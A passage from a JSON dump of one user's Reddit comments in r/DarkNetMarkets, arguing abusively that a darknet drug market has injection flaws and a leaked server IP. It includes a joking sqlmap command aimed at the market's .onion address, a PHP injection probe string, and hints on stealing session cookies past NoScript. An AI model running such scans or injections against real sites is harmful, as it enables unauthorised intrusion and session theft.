3403 "created_utc": 1501666263,
3404 "id": "dl1xc2x",
3405 "link_id": "t3_6r2ppi",
3406 "parent_id": "t1_dl1xbcp",
3407 "retrieved_on": 1501684624,
3408 "score": 5,
3409 "stickied": false,
3410 "subreddit": "DarkNetMarkets",
3411 "subreddit_id": "t5_2yt0h"
3412 },
3413 {
3414 "author": "t0mcheck",
3415 "author_flair_css_class": null,
3416 "author_flair_text": null,
3417 "body": "> it is extremely unlikely \n\nnone of those other arguments matter - **we can test the hypothesis independently** and get a result \n\nit's also interesting that you've moved from 'fake!' to 'unlikely' hrrrm\n",
3418 "created_utc": 1501666181,
3419 "id": "dl1xb0t",
3420 "link_id": "t3_6r2ppi",
3421 "parent_id": "t1_dl1x7vk",
3422 "retrieved_on": 1501684599,
3423 "score": 3,
3424 "stickied": false,
3425 "subreddit": "DarkNetMarkets",
3426 "subreddit_id": "t5_2yt0h"
3427 },
3428 {
3429 "author": "t0mcheck",
3430 "author_flair_css_class": null,
3431 "author_flair_text": null,
3432 "body": "> of course it is possible \n\nso you've answered your own question in one reply. how quickly you learn!\n\n> how about you post one of the header fields that can absolutely not be faked\n\nI already have - you can't fake second matches ",
3433 "created_utc": 1501666080,
3434 "id": "dl1x9om",
3435 "link_id": "t3_6r2ppi",
3436 "parent_id": "t1_dl1x7vk",
3437 "retrieved_on": 1501684570,
3438 "score": 2,
3439 "stickied": false,
3440 "subreddit": "DarkNetMarkets",
3441 "subreddit_id": "t5_2yt0h"
3442 },
3443 {
3444 "author": "t0mcheck",
3445 "author_flair_css_class": null,
3446 "author_flair_text": null,
3447 "body": "> all the header fields you posted can be modified by the server operators themselves. just because the header is largely the same, it does not mean that it is the same server.\n\nNo they can't - not with the time matching like that - not with what I bet is even the same time sway. \n\nThey're not \"largely the same\" they are **identical**",
3448 "created_utc": 1501665739,
3449 "id": "dl1x581",
3450 "link_id": "t3_6r2ppi",
3451 "parent_id": "t1_dl1x06x",
3452 "retrieved_on": 1501684469,
3453 "score": 5,
3454 "stickied": false,
3455 "subreddit": "DarkNetMarkets",
3456 "subreddit_id": "t5_2yt0h"
3457 },
3458 {
3459 "author": "t0mcheck",
3460 "author_flair_css_class": null,
3461 "author_flair_text": null,
3462 "body": "> yes and if the server for the clearnet ip address and and server for the hidden service are the same [like you claim], why are they not using the same php.ini file?\n\nThe fact that you don't know that individual apps based on environments load php.ini (frameworks like Laravel, CI etc.) is exectly why you're underqualified for this discussion\n\nYou've already made your mind up on what way this was going **before you even knew about the HTTP headers** so there is no point in discussing it with you\n\n> all the header fields you posted can be modified by the server operators themselves.\n\nno - no they can't. go google scholar, lookup server header entropy - its the same process as panopticon is for browsers and can id servers\n\nthis is an impossibly good fake - and you're making arguments about things you didn't even know about 10 minutes ago. ",
3463 "created_utc": 1501665651,
3464 "id": "dl1x423",
3465 "link_id": "t3_6r2ppi",
3466 "parent_id": "t1_dl1x06x",
3467 "retrieved_on": 1501684440,
3468 "score": 4,
3469 "stickied": false,
3470 "subreddit": "DarkNetMarkets",
3471 "subreddit_id": "t5_2yt0h"
3472 },
3473 {
3474 "author": "t0mcheck",
3475 "author_flair_css_class": null,
3476 "author_flair_text": null,
3477 "body": "lol thats a php.ini setting that the loaded app sets - **which matches with what I said about the environment not being picked up**\n\nhow the hell are you even making these decisions?\n\nthe headers that matter and provide entropy are all there ...",
3478 "created_utc": 1501664719,
3479 "id": "dl1wrpg",
3480 "link_id": "t3_6r2ppi",
3481 "parent_id": "t1_dl1wott",
3482 "retrieved_on": 1501684014,
3483 "score": 6,
3484 "stickied": false,
3485 "subreddit": "DarkNetMarkets",
3486 "subreddit_id": "t5_2yt0h"
3487 },
3488 {
3489 "author": "t0mcheck",
3490 "author_flair_css_class": null,
3491 "author_flair_text": null,
3492 "body": "> I did not know that http headers are unique and there is no way one can modify them. today I learned. /s\n\nwow - I like how you designed the test here so that it fails the part that does provide entropy to id while it passes the part that **can actually be different**\n\ninsane. \n\nyou realize what I set out is exactly used to identify servers uniquely? there is so much entropy in those headers that it provides a unique signature with a probability of being the same server that you can calculate\n\nyou also haven't explained how the content hashes are the same .. \n\nseriously what the fuck is going on - i'm watching a blatant hijacking of this sub to serve a clueless mods agenda right infront of me",
3493 "created_utc": 1501664659,
3494 "id": "dl1wqx7",
3495 "link_id": "t3_6r2ppi",
3496 "parent_id": "t1_dl1wldv",
3497 "retrieved_on": 1501683994,
3498 "score": 3,
3499 "stickied": false,
3500 "subreddit": "DarkNetMarkets",
3501 "subreddit_id": "t5_2yt0h"
3502 },
3503 {
3504 "author": "t0mcheck",
3505 "author_flair_css_class": null,
3506 "author_flair_text": null,
3507 "body": "huge bias for DHL on this sub - from the mods down\n\nlook at how there is a sticky at the top of the sub right now clearing DHL of the IP address issue - which is totally correct\n\nwhile none of their security issues were stickied but Sourcery was\n\nalso DHL still has no warnings on the superlist while Sourcery's was added within hours of the post (also when he edited sourcery in the DHL post **was up at the time**)\n\npretty obvious what is going on - no need to pretend IMO. ",
3508 "created_utc": 1501664194,
3509 "id": "dl1wksl",
3510 "link_id": "t3_6r1yh1",
3511 "parent_id": "t1_dl1wfvn",
3512 "retrieved_on": 1501683796,
3513 "score": 5,
3514 "stickied": false,
3515 "subreddit": "DarkNetMarkets",
3516 "subreddit_id": "t5_2yt0h"
3517 },
3518 {
3519 "author": "t0mcheck",
3520 "author_flair_css_class": null,
3521 "author_flair_text": null,
3522 "body": "Doesn't mean anything. It is likely that the live IP web server isn't loading the environment parameters for the live site.\n\nCheck the HTTP headers for both sites - they are identical - including tags, content modified, timestamps and server sig\n\n**They're the same server**\n\ntwo requests - identical time:\n\n## Hidden Service headers\n\n Content-Encoding:gzip\n Content-Type:text/html; charset=UTF-8\n Date:Wed, 02 Aug 2017 08:14:57 GMT\n Pragma:no-cache\n Server:Apache/1.3.29 (Unix) mod_perl/1.29 PHP/4.4.1 mod_ssl/2.8.16 OpenSSL/0.9.7g\n\n## Live Server headers\n\n Content-Encoding:gzip\n Content-type:text/html; charset=UTF-8\n Date:Wed, 02 Aug 2017 08:14:57 GMT\n Pragma:no-cache\n Server:Apache/1.3.29 (Unix) mod_perl/1.29 PHP/4.4.1 mod_ssl/2.8.16 OpenSSL/0.9.7g\n\njust add up the bits of entropy - thats enough to convict in a court \n\nyou can test the content hashes by requesting a static resource using the same browser type",
3523 "created_utc": 1501663768,
3524 "edited": 1501664085,
3525 "id": "dl1wf00",
3526 "link_id": "t3_6r2ppi",
3527 "parent_id": "t3_6r2ppi",
3528 "retrieved_on": 1501683589,
3529 "score": 2,
3530 "stickied": false,
3531 "subreddit": "DarkNetMarkets",
3532 "subreddit_id": "t5_2yt0h"
3533 },
3534 {
3535 "author": "t0mcheck",
3536 "author_flair_css_class": null,
3537 "author_flair_text": null,
3538 "body": "i'll point out that the source of your dismissing this as FUD is a person who works for the market - a market that has for the past 24 hours responded with only denials denial denial to security issues\n\nDHL staff members over two actual infosec ppl - interesting how this works isn't it \n\nedit: still no warning for DHL on the superlist. Sure got that warning about Sourcery up quick! made sure nobody missed that thread as well ...",
3539 "created_utc": 1501663466,
3540 "id": "dl1wavh",
3541 "link_id": "t3_6r1yh1",
3542 "parent_id": "t1_dl1w0ce",
3543 "retrieved_on": 1501683453,
3544 "score": 4,
3545 "stickied": false,
3546 "subreddit": "DarkNetMarkets",
3547 "subreddit_id": "t5_2yt0h"
3548 },
3549 {
3550 "author": "t0mcheck",
3551 "author_flair_css_class": null,
3552 "author_flair_text": null,
3553 "body": "you're in no position to judge what is FUD or not. exhibit a.\n\nthe fact that you think you are is what is so dangerous ",
3554 "created_utc": 1501663226,
3555 "id": "dl1w7ki",
3556 "link_id": "t3_6r1yh1",
3557 "parent_id": "t1_dl1w0ce",
3558 "retrieved_on": 1501683357,
3559 "score": 5,
3560 "stickied": false,
3561 "subreddit": "DarkNetMarkets",
3562 "subreddit_id": "t5_2yt0h"
3563 },
3564 {
3565 "author": "t0mcheck",
3566 "author_flair_css_class": null,
3567 "author_flair_text": null,
3568 "body": "setting aside all the other ways to do it, if we just narrow this down to tor browser and stealing the session cookie using the DOM there are *still* ways of doing it\n\nNoScript doesn't disable javascript at the engine level - it strips it from responses (ie. *requests* are made). It also doesn't block everything (nor does the CSP policy for this site) \n\nyou also have object and applet tags, DOM events and a bunch of other ways. how do you think Tor Browser users get scooped up by the thousands by the FBI with simple Flash ?\n\nedit: also look at the default set of exclusions in NoScript - there is one that is a super obvious handle to use in DOM events to pull DOM variables\n\nyou not being able to figure out !== it is impossible ",
3569 "created_utc": 1501662971,
3570 "id": "dl1w432",
3571 "link_id": "t3_6qxd1o",
3572 "parent_id": "t1_dl1w05h",
3573 "retrieved_on": 1501683273,
3574 "score": 1,
3575 "stickied": false,
3576 "subreddit": "DarkNetMarkets",
3577 "subreddit_id": "t5_2yt0h"
3578 },
3579 {
3580 "author": "t0mcheck",
3581 "author_flair_css_class": null,
3582 "author_flair_text": null,
3583 "body": "> which was your assertion that you could \"jack session ID's and other user's cookies\" even if they have JavaScript disabled.\n\nI didn't say this. ",
3584 "created_utc": 1501662147,
3585 "id": "dl1vso5",
3586 "link_id": "t3_6qxd1o",
3587 "parent_id": "t1_dl1vq9q",
3588 "retrieved_on": 1501682980,
3589 "score": 1,
3590 "stickied": false,
3591 "subreddit": "DarkNetMarkets",
3592 "subreddit_id": "t5_2yt0h"
3593 },
3594 {
3595 "author": "t0mcheck",
3596 "author_flair_css_class": null,
3597 "author_flair_text": null,
3598 "body": "you seem to be itching to clear DHL\n\ni'll let you make that post and then show you why your wrong - it will be a teachable moment as to why the appeal to authority around the mods here is so flawed ",
3599 "created_utc": 1501661862,
3600 "id": "dl1vomx",
3601 "link_id": "t3_6r1yh1",
3602 "parent_id": "t1_dl1vmly",
3603 "retrieved_on": 1501682268,
3604 "score": 0,
3605 "stickied": false,
3606 "subreddit": "DarkNetMarkets",
3607 "subreddit_id": "t5_2yt0h"
3608 },
3609 {
3610 "author": "t0mcheck",
3611 "author_flair_css_class": null,
3612 "author_flair_text": null,
3613 "body": "> so cipherme is bullshitting, I will make a post about it now.\n\nerrr thats not what that means ",
3614 "created_utc": 1501661205,
3615 "id": "dl1vf8v",
3616 "link_id": "t3_6r1yh1",
3617 "parent_id": "t1_dl1v1fn",
3618 "retrieved_on": 1501680773,
3619 "score": 2,
3620 "stickied": false,
3621 "subreddit": "DarkNetMarkets",
3622 "subreddit_id": "t5_2yt0h"
3623 },
3624 {
3625 "author": "t0mcheck",
3626 "author_flair_css_class": null,
3627 "author_flair_text": null,
3628 "body": " $ sqlmap.py -h http://darkheroesfmmp6n.onion/ --use-tor -a\n -bash: sqlmap.py: command not found\n \n\n\n\n\u00af\\_(\u30c4)_/\u00af",
3629 "created_utc": 1501660875,
3630 "id": "dl1vam8",
3631 "link_id": "t3_6qxd1o",
3632 "parent_id": "t1_dl1v0hz",
3633 "retrieved_on": 1501680044,
3634 "score": 1,
3635 "stickied": false,
3636 "subreddit": "DarkNetMarkets",
3637 "subreddit_id": "t5_2yt0h"
3638 },
3639 {
3640 "author": "t0mcheck",
3641 "author_flair_css_class": null,
3642 "author_flair_text": null,
3643 "body": "not clicking any links lol nice 1",
3644 "created_utc": 1501660712,
3645 "id": "dl1v8bn",
3646 "link_id": "t3_6r1yh1",
3647 "parent_id": "t1_dl1u3y3",
3648 "retrieved_on": 1501679705,
3649 "score": 1,
3650 "stickied": false,
3651 "subreddit": "DarkNetMarkets",
3652 "subreddit_id": "t5_2yt0h"
3653 },
3654 {
3655 "author": "t0mcheck",
3656 "author_flair_css_class": null,
3657 "author_flair_text": null,
3658 "body": "\"hang yourself with your incompetence\" is a metaphor - you can't literally use a string of incompetence to hang yourself. It means your incompetence leads you to getting caught. ",
3659 "created_utc": 1501659530,
3660 "id": "dl1ur96",
3661 "link_id": "t3_6r1yh1",
3662 "parent_id": "t1_dl1u0pg",
3663 "retrieved_on": 1501677368,
3664 "score": 2,
3665 "stickied": false,
3666 "subreddit": "DarkNetMarkets",
3667 "subreddit_id": "t5_2yt0h"
3668 },
3669 {
3670 "author": "t0mcheck",
3671 "author_flair_css_class": null,
3672 "author_flair_text": null,
3673 "body": "Yep don't forget to put it in your top 3 when mentioning all the reason why you would be safe from an LE controlled market!",
3674 "created_utc": 1501657597,
3675 "id": "dl1txgy",
3676 "link_id": "t3_6r1yh1",
3677 "parent_id": "t1_dl1twea",
3678 "retrieved_on": 1501673668,
3679 "score": 1,
3680 "stickied": false,
3681 "subreddit": "DarkNetMarkets",
3682 "subreddit_id": "t5_2yt0h"
3683 },
3684 {
3685 "author": "t0mcheck",
3686 "author_flair_css_class": null,
3687 "author_flair_text": null,
3688 "body": "and you said the reason why you'd be safe to vend on a market controlled by LE is because you rotate your MAC address ... lolllllllll\n\nplzzzzzzzzzzzzzzzz dude DIG UP DIG UP DIG UP",
3689 "created_utc": 1501657463,
3690 "id": "dl1tvfb",
3691 "link_id": "t3_6r1yh1",
3692 "parent_id": "t1_dl1ttd3",
3693 "retrieved_on": 1501673438,
3694 "score": 2,
3695 "stickied": false,
3696 "subreddit": "DarkNetMarkets",
3697 "subreddit_id": "t5_2yt0h"
3698 },
3699 {
3700 "author": "t0mcheck",
3701 "author_flair_css_class": null,
3702 "author_flair_text": null,
3703 "body": "\"hidden service\" bound to a live ip address and live port lellllllll\n\nyou have to go out of ur way to be this incompetent since almost every guide out there from basic todo up has example configs where you bind to 127.0.0.1 \n\n",
3704 "created_utc": 1501657397,
3705 "id": "dl1tue1",
3706 "link_id": "t3_6r1aa4",
3707 "parent_id": "t3_6r1aa4",
3708 "retrieved_on": 1501673328,
3709 "score": 1,
3710 "stickied": false,
3711 "subreddit": "DarkNetMarkets",
3712 "subreddit_id": "t5_2yt0h"
3713 },
3714 {
3715 "author": "t0mcheck",
3716 "author_flair_css_class": null,
3717 "author_flair_text": null,
3718 "body": "Two replies ago you said you would be invulnerable to LE having control of a market because you spoof your MAC address (lol) and your IP isn't tied to you (lol^2) - implying you'd be safe\n\nA week ago before I became so fucking cynical about the poor state of DNMs (and litereally shit like vendors saying they'd use LE controlled markets) I would have laughed my ass off at your comment for 24h straight\n\nbeing where we are now the best I can do is call you out on your nonsense \n\nI honestly don't give a fuck if you hang yourself with your incompetence - you almost deserve it. Just don't pipe up in forum threads and spread that diseased thinking to anyone else - when you put other users at risk u deserve to get called out",
3719 "created_utc": 1501657210,
3720 "id": "dl1trfs",
3721 "link_id": "t3_6r1yh1",
3722 "parent_id": "t1_dl1tnlu",
3723 "retrieved_on": 1501673007,
3724 "score": 0,
3725 "stickied": false,
3726 "subreddit": "DarkNetMarkets",
3727 "subreddit_id": "t5_2yt0h"
3728 },
3729 {
3730 "author": "t0mcheck",
3731 "author_flair_css_class": null,
3732 "author_flair_text": null,
3733 "body": "> I know that if I was personally targeted by the US governement my ass is grass.\n\nstop being an arrogant prick then. its no like being targetted by the USG is the most unrealistic fucking situation now, is it ...\n\n> they aren't going to plant people all around the city 24/7 for weeks on end just to spot me when I make a mistake.\n\nits funny how in one reply your security when from being bulletproof to being reliant on the resource constraints of the US federal government\n\nlol\n\nsome o u vendors need a fucking wake up call",
3734 "created_utc": 1501656749,
3735 "id": "dl1tjzm",
3736 "link_id": "t3_6r1yh1",
3737 "parent_id": "t1_dl1tgcp",
3738 "retrieved_on": 1501672219,
3739 "score": 3,
3740 "stickied": false,
3741 "subreddit": "DarkNetMarkets",
3742 "subreddit_id": "t5_2yt0h"
3743 },
3744 {
3745 "author": "t0mcheck",
3746 "author_flair_css_class": null,
3747 "author_flair_text": null,
3748 "body": "So you've read a few guides and think you can outsmart the three-letter-agencies and all the resources they hire?^[0]\n\nNobody who truly understands security expresses confidence like you have - that's the biggest hint that you're out of your depth. \n\nYou're honestly exactly the type of cocky bitch who when the speeding truck of reality hits them head on comes back here or to a judge and cries about how they don't understand what went wrong\n\n^[0] in terms of resources they hire - theres a company whose name I won't mention who has the FBI as a client. all the leetest fucking mofos sell their 0day warez to that co and they end up with the .gov. Firefox and Tor Browser are nothingburgers that dudes don't even get paid decent for. If you think you can outrun the NOP sled in your Firefox dot exe then good fucking luck to you and I hope you look good in orange",
3749 "created_utc": 1501656454,
3750 "edited": 1501656709,
3751 "id": "dl1tfdo",
3752 "link_id": "t3_6r1yh1",
3753 "parent_id": "t1_dl1sqeq",
3754 "retrieved_on": 1501671710,
3755 "score": 3,
3756 "stickied": false,
3757 "subreddit": "DarkNetMarkets",
3758 "subreddit_id": "t5_2yt0h"
3759 },
3760 {
3761 "author": "t0mcheck",
3762 "author_flair_css_class": null,
3763 "author_flair_text": null,
3764 "body": "Again - it has nothing to do with Javascript being off or not. That is FUD.\n\nYou deserve what you get if you still use DHL after all the warnings - injection attack, bad permissions, IP being exposed .. ",
3765 "created_utc": 1501654798,
3766 "id": "dl1snxd",
3767 "link_id": "t3_6r1yh1",
3768 "parent_id": "t1_dl1slrz",
3769 "retrieved_on": 1501669132,
3770 "score": 1,
3771 "stickied": false,
3772 "subreddit": "DarkNetMarkets",
3773 "subreddit_id": "t5_2yt0h"
3774 },
3775 {
3776 "author": "t0mcheck",
3777 "author_flair_css_class": null,
3778 "author_flair_text": null,
3779 "body": "nope they were toast anyway with the injection attacks on all the other fields. stop downplaying that shit and pretending it requires RCE to be serious ",
3780 "created_utc": 1501654720,
3781 "id": "dl1smoz",
3782 "link_id": "t3_6qxd1o",
3783 "parent_id": "t1_dl1sk6z",
3784 "retrieved_on": 1501668976,
3785 "score": 1,
3786 "stickied": false,
3787 "subreddit": "DarkNetMarkets",
3788 "subreddit_id": "t5_2yt0h"
3789 },
3790 {
3791 "author": "t0mcheck",
3792 "author_flair_css_class": null,
3793 "author_flair_text": null,
3794 "body": "and tbf i fucking hate these infosec pissing contests - havent been trolled into one in a while so gg.",
3795 "created_utc": 1501654195,
3796 "id": "dl1sdnw",
3797 "link_id": "t3_6qxd1o",
3798 "parent_id": "t1_dl1sabh",
3799 "retrieved_on": 1501668127,
3800 "score": 1,
3801 "stickied": false,
3802 "subreddit": "DarkNetMarkets",
3803 "subreddit_id": "t5_2yt0h"
3804 },
3805 {
3806 "author": "t0mcheck",
3807 "author_flair_css_class": null,
3808 "author_flair_text": null,
3809 "body": "> Yeah, you can inject HTML elements in text that you control.\n> \n\nwell - where else would the bug be? you certainly aren't going to get injection bugs in text you don't control \n\nas I said - this thread is a clusterfuck\n\nguess what happens when I put this into a field?\n\n <?php echo 't'; ?>\n\n\nwanna guess .... WANNA GUESS",
3810 "created_utc": 1501654133,
3811 "id": "dl1scln",
3812 "link_id": "t3_6qxd1o",
3813 "parent_id": "t1_dl1sabh",
3814 "retrieved_on": 1501668033,
3815 "score": 1,
3816 "stickied": false,
3817 "subreddit": "DarkNetMarkets",
3818 "subreddit_id": "t5_2yt0h"
3819 },
3820 {
3821 "author": "t0mcheck",
3822 "author_flair_css_class": null,
3823 "author_flair_text": null,
3824 "body": "Nah I double multisig so I don't need the slider",
3825 "created_utc": 1501653377,
3826 "id": "dl1rzfj",
3827 "link_id": "t3_6qxd1o",
3828 "parent_id": "t1_dl1ryf2",
3829 "retrieved_on": 1501666933,
3830 "score": 1,
3831 "stickied": false,
3832 "subreddit": "DarkNetMarkets",
3833 "subreddit_id": "t5_2yt0h"
3834 },
3835 {
3836 "author": "t0mcheck",
3837 "author_flair_css_class": null,
3838 "author_flair_text": null,
3839 "body": "Don't forget to check the 'Enable OPSEC' checkbox under File -> Preferences -> OPSEC Level",
3840 "created_utc": 1501653255,
3841 "id": "dl1rx9m",
3842 "link_id": "t3_6qxd1o",
3843 "parent_id": "t1_dl1rvjs",
3844 "retrieved_on": 1501666754,
3845 "score": 1,
3846 "stickied": false,
3847 "subreddit": "DarkNetMarkets",
3848 "subreddit_id": "t5_2yt0h"
3849 },
3850 {
3851 "author": "t0mcheck",
3852 "author_flair_css_class": null,
3853 "author_flair_text": null,
3854 "body": "How about you stop fudding and sit on the sidelines for a moment? Your comments have been misleading and destructive for user security. \n\nHow much do DHL pay you? I'd seriously consider adding $100 to that, paying it to you and giving you the job of shutting the fuck up for a month\n\nIt's probably the best ROI on improving user security we can get atm\n\nDeal?",
3855 "created_utc": 1501653119,
3856 "id": "dl1rut3",
3857 "link_id": "t3_6r1yh1",
3858 "parent_id": "t1_dl1rshl",
3859 "retrieved_on": 1501666543,
3860 "score": 3,
3861 "stickied": false,
3862 "subreddit": "DarkNetMarkets",
3863 "subreddit_id": "t5_2yt0h"
3864 },
3865 {
3866 "author": "t0mcheck",
3867 "author_flair_css_class": null,
3868 "author_flair_text": null,
3869 "body": "You came to a gun fight with your dick in your hand yelling \"bang!\". ",
3870 "created_utc": 1501652905,
3871 "edited": 1501654868,
3872 "id": "dl1rqzh",
3873 "link_id": "t3_6r1yh1",
3874 "parent_id": "t1_dl1rlx3",
3875 "retrieved_on": 1501666209,
3876 "score": 2,
3877 "stickied": false,
3878 "subreddit": "DarkNetMarkets",
3879 "subreddit_id": "t5_2yt0h"
3880 },
3881 {
3882 "author": "t0mcheck",
3883 "author_flair_css_class": null,
3884 "author_flair_text": null,
3885 "body": "> Are you not the same guy on the dhl forums who was arguing with that meth vendor/thats who i think you are but i feel i am wrong now?\n\nlol I have no idea what you're talking about - you also appear to not know what you're talking about. \n\ni'm just a dude in infosec who visited this site after the recent Alpha + Hansa takedowns and thought to myself \"hmmm I wonder how insecure these sites actually are\" and came away loling\n\n",
3886 "created_utc": 1501652524,
3887 "id": "dl1rk0v",
3888 "link_id": "t3_6r1yh1",
3889 "parent_id": "t1_dl1r7ug",
3890 "retrieved_on": 1501665610,
3891 "score": 2,
3892 "stickied": false,
3893 "subreddit": "DarkNetMarkets",
3894 "subreddit_id": "t5_2yt0h"
3895 },
3896 {
3897 "author": "t0mcheck",
3898 "author_flair_css_class": null,
3899 "author_flair_text": null,
3900 "body": "i've posted [screenshots in this thread](https://pay.reddit.com/r/DarkNetMarkets/comments/6r1yh1/petition_to_remove_dhl_from_the_superlist/)\n\nare you going to tell me again that the client needs Javascript enabled *to render HTML from a database*",
3901 "created_utc": 1501651580,
3902 "id": "dl1r2ap",
3903 "link_id": "t3_6qxd1o",
3904 "parent_id": "t1_dl1r0ob",
3905 "retrieved_on": 1501664002,
3906 "score": 1,
3907 "stickied": false,
3908 "subreddit": "DarkNetMarkets",
3909 "subreddit_id": "t5_2yt0h"
3910 },
3911 {
3912 "author": "t0mcheck",
3913 "author_flair_css_class": null,
3914 "author_flair_text": null,
3915 "body": "So we're done with addressing the actual merits of the argument and skipped right ahead to \"lol, reading\"\n\nNice.",
3916 "created_utc": 1501651309,
3917 "id": "dl1qx3h",
3918 "link_id": "t3_6r1yh1",
3919 "parent_id": "t1_dl1qcw2",
3920 "retrieved_on": 1501663578,
3921 "score": 4,
3922 "stickied": false,
3923 "subreddit": "DarkNetMarkets",
3924 "subreddit_id": "t5_2yt0h"
3925 },
3926 {
3927 "author": "t0mcheck",
3928 "author_flair_css_class": null,
3929 "author_flair_text": null,
3930 "body": "> you just plain outed them right there.\n\nmight have something to do with how they handled other security reports ... \n\nprops /u/CipherMe\n\nthis is exactly why the DNMs need to be flushed of amateurs",
3931 "created_utc": 1501651213,
3932 "id": "dl1qv8h",
3933 "link_id": "t3_6r1aa4",
3934 "parent_id": "t1_dl1q2tc",
3935 "retrieved_on": 1501663400,
3936 "score": 2,
3937 "stickied": false,
3938 "subreddit": "DarkNetMarkets",
3939 "subreddit_id": "t5_2yt0h"
3940 },
3941 {
3942 "author": "t0mcheck",
3943 "author_flair_css_class": null,
3944 "author_flair_text": null,
3945 "body": "i'm done with this thread\n\nyou replying with a block of PHP should have been a clue to get away",
3946 "created_utc": 1501650859,
3947 "id": "dl1qoee",
3948 "link_id": "t3_6qxd1o",
3949 "parent_id": "t1_dl1qn3n",
3950 "retrieved_on": 1501662865,
3951 "score": 0,
3952 "stickied": false,
3953 "subreddit": "DarkNetMarkets",
3954 "subreddit_id": "t5_2yt0h"
3955 },
3956 {
3957 "author": "t0mcheck",
3958 "author_flair_css_class": null,
3959 "author_flair_text": null,
3960 "body": "queue DHL market [and their shills](https://cdn.meme.am/cache/instances/folder206/26147206.jpg)",
3961 "created_utc": 1501650255,
3962 "id": "dl1qc8e",
3963 "link_id": "t3_6r1aa4",
3964 "parent_id": "t3_6r1aa4",
3965 "retrieved_on": 1501661810,
3966 "score": 3,
3967 "stickied": false,
3968 "subreddit": "DarkNetMarkets",
3969 "subreddit_id": "t5_2yt0h"
3970 },
3971 {
3972 "author": "t0mcheck",
3973 "author_flair_css_class": null,
3974 "author_flair_text": null,
3975 "body": "> For you because you have JavaScript ON.\n\nNo on the server side. Fuck this thread is a clusterfuck.",
3976 "created_utc": 1501649830,
3977 "id": "dl1q3fi",
3978 "link_id": "t3_6qxd1o",
3979 "parent_id": "t1_dl1pouh",
3980 "retrieved_on": 1501660917,
3981 "score": 0,
3982 "stickied": false,
3983 "subreddit": "DarkNetMarkets",
3984 "subreddit_id": "t5_2yt0h"
3985 },
3986 {
3987 "author": "t0mcheck",
3988 "author_flair_css_class": null,
3989 "author_flair_text": null,
3990 "body": "That's the predicament i'm in. I don't want to spend more time on this because DNM admins are shitty and ungrateful and I literally need to spend hours arguing with them.\n\nAt the same time the other DNMs are likely equally shitty and the absence of a thread about them shouldn't be seen as an endorsement of their security \n\nYou can argue that this is unfair to Sourcery and DHL since I only looked at them - but at least one of those turned out to have pathetic admins who should never be running a market - and now users can at least be warned away from that.\n\nI'm likely not going to spend a whole lot more time on this - IMO the entire state of DNMs is sad - this is suppoed to be the bleeding edge of good security practice yet i've seen trading card forums with better security, admins and OPSEC\n\nHonestly it is little surprise that markets are taken down so frequently - and nobody seems to be learning a whole lot ",
3991 "created_utc": 1501648280,
3992 "id": "dl1p6qm",
3993 "link_id": "t3_6qxd1o",
3994 "parent_id": "t1_dl1ifu1",
3995 "retrieved_on": 1501656925,
3996 "score": 1,
3997 "stickied": false,
3998 "subreddit": "DarkNetMarkets",
3999 "subreddit_id": "t5_2yt0h"
4000 },
4001 {
4002 "author": "t0mcheck",
4003 "author_flair_css_class": null,
4004 "author_flair_text": null,
4005 "body": "> However, if they are, then it's game over.\n\nHow many times do I have to repeat that *i've altered their template and their support has verified it*\n\nAs i've said many times in this thread already - the whole point of disabling Javascript is to prevent LE malware. **this allows LE to inject malware**\n\nThey don't even need to locate the server to do it. This is *exactly* how PlayPen and others were taken down\n\nHonestly, it's nauseating that I not only have to explain this so thoroughly, but that i've had to repeat myself a dozen times in this comment thread. ",
4006 "created_utc": 1501647985,
4007 "edited": 1501648174,
4008 "id": "dl1p08v",
4009 "link_id": "t3_6qxd1o",
4010 "parent_id": "t1_dl1ojk4",
4011 "retrieved_on": 1501656101,
4012 "score": 1,
4013 "stickied": false,
4014 "subreddit": "DarkNetMarkets",
4015 "subreddit_id": "t5_2yt0h"
4016 },
4017 {
4018 "author": "t0mcheck",
4019 "author_flair_css_class": null,
4020 "author_flair_text": null,
4021 "body": "This is surreal and pathetic. I'm used to having real-world sites who don't know anything about security react poorly to bugs being reported - but even they eventually come to. \n\nI had no idea that darknetmarkets, where the emphasis is supposed to be security, would not only react poorly - but would be an order of magnitude *worse*\n\nAt some point you just have to hope that the process of attrition takes these sites down before they get too big. Any FBI reading this today will realize that getting admin on DHL is mere hours away, and they'll also know that the admins are ignorant to the threat",
4022 "created_utc": 1501646239,
4023 "id": "dl1nvlo",
4024 "link_id": "t3_6qxd1o",
4025 "parent_id": "t1_dl1nhiz",
4026 "retrieved_on": 1501650795,
4027 "score": 0,
4028 "stickied": false,
4029 "subreddit": "DarkNetMarkets",
4030 "subreddit_id": "t5_2yt0h"
4031 },
4032 {
4033 "author": "t0mcheck",
4034 "author_flair_css_class": null,
4035 "author_flair_text": null,
4036 "body": "> This same shit was talked about a while ago on the forums. \n\nThat makes this worse\n\n> No one has ever been able to do anything with it. \n\nThat is an excellent security posture to take - lets keep vulnerabilities open until someone can exploit it. You realize that once it is exploited that it is game over, right? You also realize that DHL hasn't been much of a target?\n\nThere is *no way* this site survives any serious scrutiny - some clueless vendors throwing in copy+pasta XSS exploits is not a reassurance when *their input forms aren't escaping anything**\n\n**the whole point of disabling javascript is because of LE delivered exploits. this vulnerability allows LE to deliver exploits. it is game over you're all clueless**\n\n> I saw you crying on the forums begging dhl for money.\n\nNo mention of money - I reported the issues. I actually told them to stick any bounty [up their butt here](https://www.reddit.com/r/DarkNetMarkets/comments/6qxd1o/dhl_market_security_vulnerabilities/dl14yd5/)",
4037 "created_utc": 1501645694,
4038 "id": "dl1nixa",
4039 "link_id": "t3_6qxd1o",
4040 "parent_id": "t1_dl1ldkm",
4041 "retrieved_on": 1501649289,
4042 "score": 1,
4043 "stickied": false,
4044 "subreddit": "DarkNetMarkets",
4045 "subreddit_id": "t5_2yt0h"
4046 },
4047 {
4048 "author": "t0mcheck",
4049 "author_flair_css_class": null,
4050 "author_flair_text": null,
4051 "body": "Nope i'm not here to serve you and i'm not going to spend more time on this or educate the ignorant. \n\npeople who matter understand what being able to *rewrite or reframe the entire output of a site* means and why it is serious.\n\nYou can enjoy whatever the fuck you do - i'm not volunteering any more time to help those who can't be helped ",
4052 "created_utc": 1501645330,
4053 "id": "dl1na2b",
4054 "link_id": "t3_6qxd1o",
4055 "parent_id": "t1_dl1la6v",
4056 "retrieved_on": 1501648205,
4057 "score": 1,
4058 "stickied": false,
4059 "subreddit": "DarkNetMarkets",
4060 "subreddit_id": "t5_2yt0h"
4061 },
4062 {
4063 "author": "t0mcheck",
4064 "author_flair_css_class": null,
4065 "author_flair_text": null,
